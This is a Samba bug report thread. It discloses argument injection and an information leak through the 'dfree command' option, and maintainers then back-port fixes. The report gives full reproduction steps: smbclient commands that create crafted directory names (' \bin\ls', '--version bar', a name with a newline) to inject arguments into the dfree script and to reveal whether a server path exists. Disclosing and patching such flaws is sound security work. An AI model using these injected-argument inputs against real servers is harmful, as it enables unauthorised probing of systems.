My original report:

Samba 4.x supports a configuration option named "dfree command" (no default),
used by the "source3/smbd/dfree.c:sys_disk_free" function. When configured the
command is invoked to determine the available disk space for a given path, but
unfortunately the command arguments aren't split properly, allowing the
injection of arguments and leaking information.

Example smb.conf:

---
$ cat >/usr/local/samba/etc/smb.conf <<'EOF'
[global]
log file=/usr/local/samba/var/log.%m
log level=5

[data]
path = /srv/data
readonly = no
dfree command = /usr/local/samba/bin/dfree
EOF
---

dfree script as proposed in smb.conf(5):

---
$ cat >/usr/local/samba/bin/dfree <<'EOF' && chmod +x /usr/local/samba/bin/dfree
#!/bin/sh
df $1 | tail -1 | awk '{print $(NF-4),$(NF-2)}'
EOF
---

Note how the argument to "df" isn't quoted.

For an easier investigation we can patch Samba slightly:

---
--- a/lib/util/sys_popen.c
+++ b/lib/util/sys_popen.c
@@ -81,6 +81,7 @@ static char **extract_args(TALLOC_CTX *mem_ctx, const char *command)
                if (!(argl[i++] = talloc_strdup(argl, ptr))) {
                        goto nomem;
                }
+               printf("arg[%d] = \"%s\"\n", i - 1, argl[i - 1]);
        }

        argl[i++] = NULL;
---

Use smbclient to connect. Example command:

---
$ bin/smbclient -U johndoe '\\172.17.0.2\data'
---

Create directories:

---
smb: \> mkdir " "
smb: \> mkdir " \bin"
smb: \> mkdir " \bin\ls"
smb: \> mkdir " \bin\ls\foo"
smb: \> cd " \bin\ls"
smb: \ \bin\ls\> dir
…
  28703652 blocks of size 1024. 16285184 blocks available
smb: \ \bin\ls\>
---

Log output on server:

---
disk_free: Running command '/usr/local/samba/bin/dfree  /bin/ls'
arg[1] = "/bin/ls"
---

Information leak: The resulting free space information is for the filesystem
behind "/bin", not the filesystem underlying the share.

Alternative:

---
smb: \> cd "\ \bin\ls\foo"
smb: \ \bin\ls\foo\> dir
---

Log output:

---
disk_free: Running command '/usr/local/samba/bin/dfree  /bin/ls/foo'
arg[1] = "/bin/ls/foo"
df: /bin/ls/foo: Not a directory
disk_free: file_lines_load() failed for command '/usr/local/samba/bin/dfree  /bin/ls/foo'. Error was : No child processes
---

This case will fall back to the built-in code determining free disk space. The
difference in the response indicates to a determined attacker whether a file or
directory exists.

Remember how I highlighted the non-quoted argument to "df"?

---
smb: \> mkdir "--version bar"
smb: \> cd "--version bar"
smb: \--version bar\> dir
---

The result is an argument injection (fortunately shell metacharacters aren't
evaluated with the example script):

---
disk_free: Running command '/usr/local/samba/bin/dfree --version bar'
arg[1] = "--version"
arg[2] = "bar"
Read input from dfree, "David and"
Parsed output of dfree, dsize=4294967295, dfree=4294967295, bsize=4294967295
---

Also note how the "dfree" script is actually given two arguments.

We can also mount the share and create a somewhat unusual directory name with
a newline character:

---
$ mount -t cifs -o username=johndoe //172.17.0.2/data /mnt
Password for johndoe@//172.17.0.2/data: …
$ mkdir /mnt/$'new\nline'
---

List directory contents via smbclient (directory name will vary):

---
smb: \> cd NQ7DQR~Z\
smb: \NQ7DQR~Z\> dir
---

Note how Samba and the shell disagree on how to split the command (Samba sees
one, the shell two arguments):

---
disk_free: Running command '/usr/local/samba/bin/dfree new
line'
arg[1] = "new
line"
df: new: No such file or directory
df: line: No such file or directory
disk_free: file_lines_load() failed for command '/usr/local/samba/bin/dfree new
line'. Error was : No child processes
---

Proposal: Build the command arguments as an array instead of a string which is
then split up again.

Created attachment 15189 [details]
git-am fix for 4.10.next

Cherry-picked and back-ported from master.

Created attachment 15190 [details]
git-am fix for 4.9.next

Cherry-picked and back-ported from master.

Reassigning to Karolin for inclusion in 4.9 and 4.10.

(In reply to Ralph Böhme from comment #4)
Pushed to autobuild-v4-{9,10}-test.

(In reply to Karolin Seeger from comment #5)
Pushed to both branches.
Closing out bug report.

Thanks!